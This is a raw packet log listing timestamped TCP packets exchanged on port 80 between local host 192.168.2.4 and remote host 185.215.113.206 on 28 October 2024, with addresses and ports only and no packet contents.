Oct 28, 2024 08:17:38.349853039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349867105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349889994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349912882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349960089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349992037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350008011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350017071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350039005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350039005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350039005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350054026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350069046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350095034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350095034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350121021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350123882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350152969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350168943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350189924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350189924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350192070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350230932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350230932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350382090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350406885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350430012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350430012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350445986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350460052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350469112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350469112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350500107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350501060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350539923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350557089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350589037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350596905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350596905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350604057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350617886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350637913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350637913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350661039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350729942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350744963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350764036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350771904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350796938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350796938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350816011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350831032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.350856066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.350895882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.390909910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.390928984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.390944958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.391005993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.391005993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393562078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393575907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393590927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393606901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393615007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393615007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393621922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393637896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393640041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393649101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393656015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393660069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393691063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393691063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393723965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393738985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393754005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393759966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393769979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.393790960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393790960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.393806934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.468105078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.468144894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.468161106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.468199968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.468204975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.468244076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.469829082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.469877958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.469924927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.469942093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.469974995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.469974995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.469978094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.469993114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470010996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470019102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470032930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470041990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470056057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470062971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470091105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470098019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470098019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470105886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470132113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470134020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470154047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470156908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470170975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470185995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470191956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470191956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470200062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470217943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470220089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470220089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470236063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470244884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470312119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470325947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470340014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470364094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470366001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470366001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470381021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470392942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470392942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470407963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470408916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470424891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470438957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470449924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470453978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470460892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470468998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470472097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470499039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470499039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470558882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470572948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470587969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470602989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470602989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470603943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470619917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470626116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470635891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470649004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470659971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470659971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470664024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470670938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470684052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470696926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470721006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470726013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470737934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470762968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470769882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470769882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470777035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470794916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470812082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470813990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470813990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470828056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470833063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470844030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.470870018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470870018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.470899105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471352100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471373081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471388102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471401930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471405029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471405029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471416950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471432924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471437931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471437931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471451998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471472979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471497059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471510887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471524954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471540928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471550941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471550941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471555948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471569061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471570969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471580029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471587896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471615076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471615076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471638918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471641064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471657038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471688986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471695900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471695900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471704006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471718073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.471734047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471734047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.471755028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.509464025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.509478092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.509552002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.509552002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512399912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512413979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512443066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512466908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512480021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512481928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512480974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512497902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512507915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512523890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512531042 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512541056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512567997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512568951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512583971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512592077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512602091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512605906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512620926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.512645006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512645960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.512665987 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.555227995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.555249929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.555289030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.555457115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.587384939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.587409973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.587424994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.587476015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.587476015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589073896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589138985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589143038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589160919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589181900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589193106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589204073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589210033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589225054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589246988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589246988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589258909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589274883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589289904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589322090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589329004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589329004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589338064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589351892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589353085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589369059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589390993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589390993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589422941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589452982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589468002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589481115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589483023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589498043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589520931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589529037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589555979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589557886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589624882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589649916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589663029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589675903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589684963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589687109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589699030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589714050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589735031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589787006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589809895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589839935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589853048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589876890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589890957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589909077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589909077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589925051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589936972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589961052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589976072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.589996099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.589996099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590022087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590039015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590054989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590064049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590070963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590085030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590101004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590101004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590116024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590202093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590217113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590231895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590253115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590280056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590318918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590343952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590367079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590380907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590382099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590382099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590395927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590405941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590413094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590434074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590498924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590513945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590528965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590537071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590557098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590572119 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590583086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590596914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590610981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590621948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590626001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590640068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590646029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590646029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590671062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590684891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590795040 CET	80	49766	185.215.113.206	192.168.2.4
